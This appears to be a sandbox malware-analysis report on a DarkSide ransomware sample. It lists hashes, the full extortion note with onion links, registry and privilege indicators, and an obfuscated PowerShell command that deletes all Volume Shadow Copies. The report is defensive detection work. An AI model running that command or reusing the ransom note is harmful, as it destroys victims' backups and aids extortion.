Analysis
- max time kernel
149s - max time network
150s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
24/05/2026, 01:34
Static task
static1
Behavioral task
behavioral1
Sample
sub_d43b271fb493.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
sub_d43b271fb493.exe
Resource
win11-20260513-en
General
- Target sub_d43b271fb493.exe
- Size 60KB
- Sample260524-by6h3ahs2x
- SHA256 d43b271fb4931263f8fa54b297e3cf60762a0fe5c50ed76999f276dcc3c283be
- MD5 b9d04060842f71d1a8f3444316dc1843
- SHA1 7e01305dd52b6c92d97e88c870410381577cad61
- SHA512 4bf62dbbd5dfe4682cb78b4f751a8b2f10e769ecf0bcbd81cd292fe0c7c54307ed728cf8b5b408b0a8d4cf90111bbe027130011f92161c3e687ffb37bc70fb34
- SSDEEP 768:TTjagICPhDt3bS4nyz9lGg9w6XkwLNnxNHNhZwo4qi5WvrHY23W5o:BpDtG4nM9e6XrLvpN7jx8Z5
- TLSH T1BC534B2D33E1D1BBFE210EB91E4937B393996F7238265D07C3642E5862A0D379A63117
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
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C:\Users\Admin\README.4c6f08c7.TXT
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darkside
- ----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, private data was downloaded. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. Data leak ---------------------------------------------- First of all we have uploaded more then 120GB data. Your personal leak page (TOR LINK): http://darksidedxcftmqa.onion/compucom/PhGs8GJE39Fo5BseT_6rcXMZuWpNYbiS_Iz_aaXJRq6tPXMpWLbFN1U8lkztAR1C On the page you will find examples of files that have been downloaded. The data is preloaded and will be automatically published in our blog if you do not contact us. After publication, your data can be downloaded by anyone, it stored on our tor CDN and will be available for at least 6 months. We are ready: - To provide you the evidence of stolen data - To delete all the stolen data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. HOW TO CONTACT US? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/OU7PSEQZ3R73ST58UP78D5RLCH99E3EY78Y6UM3TZMLT5L8XFZY8K190J3NOVRLT When you open our website, put the following data in the input form: Key: pcf4CdhXP5JYLCFKJafgliUqAv4zZJgl6TWFhxglXh3dHZFz9Q22UfNRP8GvNvui5HiWHu0zASrkXEVOXUILXjcmW2Lr4eBeIc7bY5G3fDGH3loLQ3cNXTKa27jmHkP9OT4AvTQhsALWOzl2Hcz2nvizwpAwe3Amr5VC8sBtmo5rIG7L8aQx667OobEvuZuh6jbERtiA1NgS4HYwfT9i2ILjSipGAUNNKb1TJw9sOvaPm3SF2PhY6vXiIXlZpl000QBfNyCxPzPEPL9aFLdhNPJwLj3jnb3mRRxQJleaK3QJdNisufTEaGZrTFA4staEE0oKMXvT6i0aUuIYWPqYhj2im9uzVER2kAyetdUoEw0OsG5m9w1XYlEeLE1tm1O4qfBrr2YyoDTVVIoeQMs9isLhrMvNnbaCcyweVnksV8CmIEVF24eWrLF27phYRaBomtyz5lBZsW82atOlzpPLpG5Qrs9Q2HnToxNX75nHXprNQQKbNGNqmbiXakmq4SbdMahlS5XFUW3A9X2vJk8H1ewwXX1gH2tLfit0tw3uyfwjHU7Cpu7NOim !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!
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http://darksidedxcftmqa.onion/compucom/PhGs8GJE39Fo5BseT_6rcXMZuWpNYbiS_Iz_aaXJRq6tPXMpWLbFN1U8lkztAR1C
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http://darksidfqzcuhtk2.onion/OU7PSEQZ3R73ST58UP78D5RLCH99E3EY78Y6UM3TZMLT5L8XFZY8K190J3NOVRLT
Signatures
- Family: DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
- Renames multiple (108) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
- Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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pid Process 2728 powershell.exe - Sets desktop wallpaper using registry 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\4c6f08c7.BMP" sub_d43b271fb493.exe Set value (str) \REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\4c6f08c7.BMP" sub_d43b271fb493.exe - System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sub_d43b271fb493.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Control Panel\Desktop\WallpaperStyle = "10" sub_d43b271fb493.exe - Modifies registry class 5 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\4c6f08c7\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\4c6f08c7.ico" sub_d43b271fb493.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.4c6f08c7 sub_d43b271fb493.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.4c6f08c7\ = "4c6f08c7" sub_d43b271fb493.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\4c6f08c7\DefaultIcon sub_d43b271fb493.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\4c6f08c7 sub_d43b271fb493.exe - Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 2728 powershell.exe 2728 powershell.exe 5204 sub_d43b271fb493.exe 5204 sub_d43b271fb493.exe - Suspicious use of AdjustPrivilegeToken 25 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 5204 sub_d43b271fb493.exe Token: SeSecurityPrivilege 5204 sub_d43b271fb493.exe Token: SeTakeOwnershipPrivilege 5204 sub_d43b271fb493.exe Token: SeLoadDriverPrivilege 5204 sub_d43b271fb493.exe Token: SeSystemProfilePrivilege 5204 sub_d43b271fb493.exe Token: SeSystemtimePrivilege 5204 sub_d43b271fb493.exe Token: SeProfSingleProcessPrivilege 5204 sub_d43b271fb493.exe Token: SeIncBasePriorityPrivilege 5204 sub_d43b271fb493.exe Token: SeCreatePagefilePrivilege 5204 sub_d43b271fb493.exe Token: SeBackupPrivilege 5204 sub_d43b271fb493.exe Token: SeRestorePrivilege 5204 sub_d43b271fb493.exe Token: SeShutdownPrivilege 5204 sub_d43b271fb493.exe Token: SeDebugPrivilege 5204 sub_d43b271fb493.exe Token: SeSystemEnvironmentPrivilege 5204 sub_d43b271fb493.exe Token: SeRemoteShutdownPrivilege 5204 sub_d43b271fb493.exe Token: SeUndockPrivilege 5204 sub_d43b271fb493.exe Token: SeManageVolumePrivilege 5204 sub_d43b271fb493.exe Token: 33 5204 sub_d43b271fb493.exe Token: 34 5204 sub_d43b271fb493.exe Token: 35 5204 sub_d43b271fb493.exe Token: 36 5204 sub_d43b271fb493.exe Token: SeDebugPrivilege 2728 powershell.exe Token: SeBackupPrivilege 4056 vssvc.exe Token: SeRestorePrivilege 4056 vssvc.exe Token: SeAuditPrivilege 4056 vssvc.exe - Suspicious use of WriteProcessMemory 1 IoCs
description pid Process procid_target PID 5204 wrote to memory of 2728 5204 sub_d43b271fb493.exe 80 - Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\sub_d43b271fb493.exe"C:\Users\Admin\AppData\Local\Temp\sub_d43b271fb493.exe"1⤵
- Sets desktop wallpaper using registry
- System Location Discovery: System Language Discovery
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5204 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2728
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4056
Network
MITRE ATT&CK Enterprise v16
Credential Access
Credentials from Password Stores
2Credentials from Web Browsers
1Windows Credential Manager
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 3KB
- SHA256 e336a593bd31921c46757a88a99759f6a33854d0c8b854c0c8f118e5cede1ea1
- MD5 aa0a32b11dca7b04f4cc5fe8c55cb357
- SHA1 00e354fd0754a7d721a270cdc08f970b9a3f6605
- SHA512 1db91d3540da2c7eb4e151d698f3a9c1d2caed3161c41f1c2c73781a65e9dfc818902f0220c0aa9fc2c617d4851f23f4a576c4e5fe0f40ec78e9ed01c8ad8b30
- TLSH T1F661DC323375B0D4895A7F07192C19C463BF8356EA94AF4CB658620ED92B44BDF222F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 acff94044f1e9ffa322ac7a6943f3395c35cb032ec74840ad3230718ac42adea
- MD5 db3a2085d22f0fa009feb6060c919ace
- SHA1 d570b614adf53c54135d8ba89ba0e9a77f743e1c
- SHA512 e7f23352561884e987b52e247f0b813a6527b88a0fb3176802aec0bfd3dc3e85514ebb4774d49bc267c28795de7a4f75026c9ee9681d6e3741573abe1813cc73
- TLSH T13E218633B3ACC135C8D9117A208CAD01B1B1C3C7449ECE8B7B84C508A17F98ADB641E4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jdtsb2za.fhc.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\README.4c6f08c7.TXT
- Size 2KB
- SHA256 0062b751512b6ef31ebf0d33388dca59cf80f3cc382662ccbe5320a969f43bb3
- MD5 0faad4081fef4c1d4b9bf992d3dcfbf3
- SHA1 afcb0ba8bc2946ce5469896acf30c9a1b9b24fb4
- SHA512 5f9c19ba1b2b0009cf14cd4cde4baf8a9d1a4ae4adac91205dc52a0a443d93408f214b788a38b8ef9525988990a5a5b188d9603b4ffce691e2c9fd11ef7b6f58
- TLSH T10951B66F7F1852001DE5E7F272589F93D31A2168322684167D19283C639FB73693F1AA
- MD5 SHA1 SHA512 TLSH